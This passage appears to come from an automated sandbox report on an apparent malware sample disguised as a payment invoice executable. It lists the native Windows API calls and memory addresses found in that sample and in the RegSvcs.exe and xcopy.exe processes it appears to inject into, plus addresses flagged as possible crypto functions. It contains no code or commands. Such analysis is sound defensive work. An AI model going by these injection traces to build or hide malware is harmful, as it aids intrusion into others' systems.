Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022E30 NtWriteVirtualMemory, 3_2_01022E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022E80 NtReadVirtualMemory, 3_2_01022E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022EA0 NtAdjustPrivilegesToken, 3_2_01022EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01022EE0 NtQueueApcThread, 3_2_01022EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01023010 NtOpenDirectoryObject, 3_2_01023010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01023090 NtSetValueKey, 3_2_01023090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010239B0 NtGetContextThread, 3_2_010239B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01023D10 NtOpenProcessToken, 3_2_01023D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01023D70 NtOpenThread, 3_2_01023D70
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03034340 NtSetContextThread,LdrInitializeThunk, 6_2_03034340
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03034650 NtSuspendThread,LdrInitializeThunk, 6_2_03034650
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03032B60 NtClose,LdrInitializeThunk, 6_2_03032B60
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03032BA0 NtEnumerateValueKey,LdrInitializeThunk, 6_2_03032BA0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03032BE0 NtQueryValueKey,LdrInitializeThunk, 6_2_03032BE0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03032BF0 NtAllocateVirtualMemory,LdrInitializeThunk, 6_2_03032BF0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03032AD0 NtReadFile,LdrInitializeThunk, 6_2_03032AD0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03032AF0 NtWriteFile,LdrInitializeThunk, 6_2_03032AF0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03032F30 NtCreateSection,LdrInitializeThunk, 6_2_03032F30
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03032FB0 NtResumeThread,LdrInitializeThunk, 6_2_03032FB0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03032FE0 NtCreateFile,LdrInitializeThunk, 6_2_03032FE0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03032E80 NtReadVirtualMemory,LdrInitializeThunk, 6_2_03032E80
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03032EE0 NtQueueApcThread,LdrInitializeThunk, 6_2_03032EE0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03032D10 NtMapViewOfSection,LdrInitializeThunk, 6_2_03032D10
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03032D30 NtUnmapViewOfSection,LdrInitializeThunk, 6_2_03032D30
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03032DD0 NtDelayExecution,LdrInitializeThunk, 6_2_03032DD0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03032DF0 NtQuerySystemInformation,LdrInitializeThunk, 6_2_03032DF0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03032C60 NtCreateKey,LdrInitializeThunk, 6_2_03032C60
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03032C70 NtFreeVirtualMemory,LdrInitializeThunk, 6_2_03032C70
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03032CA0 NtQueryInformationToken,LdrInitializeThunk, 6_2_03032CA0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030335C0 NtCreateMutant,LdrInitializeThunk, 6_2_030335C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030339B0 NtGetContextThread,LdrInitializeThunk, 6_2_030339B0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03032B80 NtQueryInformationFile, 6_2_03032B80
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03032AB0 NtWaitForSingleObject, 6_2_03032AB0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03032F60 NtCreateProcessEx, 6_2_03032F60
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03032F90 NtProtectVirtualMemory, 6_2_03032F90
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03032FA0 NtQuerySection, 6_2_03032FA0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03032E30 NtWriteVirtualMemory, 6_2_03032E30
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03032EA0 NtAdjustPrivilegesToken, 6_2_03032EA0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03032D00 NtSetInformationFile, 6_2_03032D00
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03032DB0 NtEnumerateKey, 6_2_03032DB0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03032C00 NtQueryInformationProcess, 6_2_03032C00
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03032CC0 NtQueryVirtualMemory, 6_2_03032CC0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03032CF0 NtOpenProcess, 6_2_03032CF0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03033010 NtOpenDirectoryObject, 6_2_03033010
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03033090 NtSetValueKey, 6_2_03033090
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03033D10 NtOpenProcessToken, 6_2_03033D10
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03033D70 NtOpenThread, 6_2_03033D70
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02828F10 NtCreateFile, 6_2_02828F10
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02829200 NtClose, 6_2_02829200
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02829370 NtAllocateVirtualMemory, 6_2_02829370
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02829070 NtReadFile, 6_2_02829070
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02829160 NtDeleteFile, 6_2_02829160
Detected potential crypto function
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Code function: 0_2_0149D304 0_2_0149D304
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Code function: 0_2_01820360 0_2_01820360
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Code function: 0_2_01821E20 0_2_01821E20
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Code function: 0_2_032974E0 0_2_032974E0
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Code function: 0_2_0329001F 0_2_0329001F
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Code function: 0_2_03290040 0_2_03290040
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Code function: 0_2_032974D2 0_2_032974D2
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Code function: 0_2_098D5020 0_2_098D5020
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Code function: 0_2_098D0040 0_2_098D0040
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Code function: 0_2_098D3404 0_2_098D3404
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Code function: 0_2_098DE845 0_2_098DE845
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Code function: 0_2_098DBBD1 0_2_098DBBD1
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Code function: 0_2_098D1C70 0_2_098D1C70
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Code function: 0_2_098DDFE9 0_2_098DDFE9
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Code function: 0_2_098DDFF8 0_2_098DDFF8
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Code function: 0_2_098D2E28 0_2_098D2E28
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Code function: 0_2_098D20B8 0_2_098D20B8
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Code function: 0_2_098DC018 0_2_098DC018
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Code function: 0_2_098D0011 0_2_098D0011
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Code function: 0_2_098D5012 0_2_098D5012
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Code function: 0_2_098D52A2 0_2_098D52A2
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Code function: 0_2_098D52B0 0_2_098D52B0
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Code function: 0_2_098D2578 0_2_098D2578
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Code function: 0_2_098DB7A8 0_2_098DB7A8
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Code function: 0_2_098DD720 0_2_098DD720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00418433 3_2_00418433
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0042E9E3 3_2_0042E9E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0041832D 3_2_0041832D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00402380 3_2_00402380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0040FD33 3_2_0040FD33
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0041666E 3_2_0041666E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00416673 3_2_00416673
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0040FF53 3_2_0040FF53
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00402F65 3_2_00402F65
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00402F70 3_2_00402F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0040DFC9 3_2_0040DFC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0040DFD3 3_2_0040DFD3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0108A118 3_2_0108A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01078158 3_2_01078158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010B01AA 3_2_010B01AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010A81CC 3_2_010A81CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01082000 3_2_01082000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE0100 3_2_00FE0100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010AA352 3_2_010AA352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010B03E6 3_2_010B03E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FFE3F0 3_2_00FFE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01090274 3_2_01090274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010702C0 3_2_010702C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010B0591 3_2_010B0591
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01094420 3_2_01094420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010A2446 3_2_010A2446
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF0535 3_2_00FF0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0109E4F6 3_2_0109E4F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01014750 3_2_01014750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FEC7C0 3_2_00FEC7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF0770 3_2_00FF0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0100C6E0 3_2_0100C6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FD68B8 3_2_00FD68B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01006962 3_2_01006962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010BA9A6 3_2_010BA9A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF2840 3_2_00FF2840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FFA840 3_2_00FFA840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF29A0 3_2_00FF29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101E8F0 3_2_0101E8F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010AAB40 3_2_010AAB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FEEA80 3_2_00FEEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010A6BD7 3_2_010A6BD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE0CF2 3_2_00FE0CF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0108CD1F 3_2_0108CD1F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01008DBF 3_2_01008DBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF0C00 3_2_00FF0C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FEADE0 3_2_00FEADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01090CB5 3_2_01090CB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FFAD00 3_2_00FFAD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01032F28 3_2_01032F28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01010F30 3_2_01010F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01092F30 3_2_01092F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01064F40 3_2_01064F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF0E59 3_2_00FF0E59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0106EFA0 3_2_0106EFA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FFCFE0 3_2_00FFCFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010AEE26 3_2_010AEE26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE2FC8 3_2_00FE2FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01002E90 3_2_01002E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010ACE93 3_2_010ACE93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010AEEDB 3_2_010AEEDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF70C0 3_2_00FF70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010BB16B 3_2_010BB16B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0102516C 3_2_0102516C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FFB1B0 3_2_00FFB1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FDF172 3_2_00FDF172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0109F0CC 3_2_0109F0CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010A70E9 3_2_010A70E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010AF0E0 3_2_010AF0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010A132D 3_2_010A132D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF52A0 3_2_00FF52A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0103739A 3_2_0103739A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FDD34C 3_2_00FDD34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0100B2C0 3_2_0100B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010912ED 3_2_010912ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010A7571 3_2_010A7571
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE1460 3_2_00FE1460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0108D5B0 3_2_0108D5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010AF43F 3_2_010AF43F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010AF7B0 3_2_010AF7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010A16CC 3_2_010A16CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01085910 3_2_01085910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF38E0 3_2_00FF38E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0100B950 3_2_0100B950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0105D800 3_2_0105D800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF9950 3_2_00FF9950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010AFB76 3_2_010AFB76
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0100FB80 3_2_0100FB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01065BF0 3_2_01065BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0102DBF9 3_2_0102DBF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010AFA49 3_2_010AFA49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010A7A46 3_2_010A7A46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01063A6C 3_2_01063A6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01035AA0 3_2_01035AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0108DAAC 3_2_0108DAAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01091AA3 3_2_01091AA3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0109DAC6 3_2_0109DAC6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010A1D5A 3_2_010A1D5A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010A7D73 3_2_010A7D73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0100FDC0 3_2_0100FDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01069C32 3_2_01069C32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF3D40 3_2_00FF3D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010AFCF2 3_2_010AFCF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010AFF09 3_2_010AFF09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF9EB0 3_2_00FF9EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010AFFB1 3_2_010AFFB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF1F92 3_2_00FF1F92
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030BA352 6_2_030BA352
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030C03E6 6_2_030C03E6
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_0300E3F0 6_2_0300E3F0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030A0274 6_2_030A0274
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030802C0 6_2_030802C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_0309A118 6_2_0309A118
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03088158 6_2_03088158
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030C01AA 6_2_030C01AA
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030B41A2 6_2_030B41A2
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030B81CC 6_2_030B81CC
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03092000 6_2_03092000
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02FF0100 6_2_02FF0100
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03024750 6_2_03024750
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03000770 6_2_03000770
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02FFC7C0 6_2_02FFC7C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_0301C6E0 6_2_0301C6E0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03000535 6_2_03000535
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030C0591 6_2_030C0591
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030A4420 6_2_030A4420
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030B2446 6_2_030B2446
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030AE4F6 6_2_030AE4F6
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030BAB40 6_2_030BAB40
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02FFEA80 6_2_02FFEA80
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030B6BD7 6_2_030B6BD7
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02FE68B8 6_2_02FE68B8
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03016962 6_2_03016962
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030029A0 6_2_030029A0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030CA9A6 6_2_030CA9A6
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_0300A840 6_2_0300A840
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03002840 6_2_03002840
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_0302E8F0 6_2_0302E8F0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03042F28 6_2_03042F28
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03020F30 6_2_03020F30
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030A2F30 6_2_030A2F30
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03074F40 6_2_03074F40
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_0307EFA0 6_2_0307EFA0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_0300CFE0 6_2_0300CFE0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030BEE26 6_2_030BEE26
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02FF2FC8 6_2_02FF2FC8
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03000E59 6_2_03000E59
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03012E90 6_2_03012E90
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030BCE93 6_2_030BCE93
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030BEEDB 6_2_030BEEDB
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_0300AD00 6_2_0300AD00
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02FF0CF2 6_2_02FF0CF2
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_0309CD1F 6_2_0309CD1F
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03018DBF 6_2_03018DBF
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03000C00 6_2_03000C00
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02FFADE0 6_2_02FFADE0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030A0CB5 6_2_030A0CB5
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030B132D 6_2_030B132D
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_0304739A 6_2_0304739A
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030052A0 6_2_030052A0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02FED34C 6_2_02FED34C
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_0301B2C0 6_2_0301B2C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030A12ED 6_2_030A12ED
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030CB16B 6_2_030CB16B
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_0303516C 6_2_0303516C
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_0300B1B0 6_2_0300B1B0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02FEF172 6_2_02FEF172
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030070C0 6_2_030070C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030AF0CC 6_2_030AF0CC
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030B70E9 6_2_030B70E9
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030BF0E0 6_2_030BF0E0
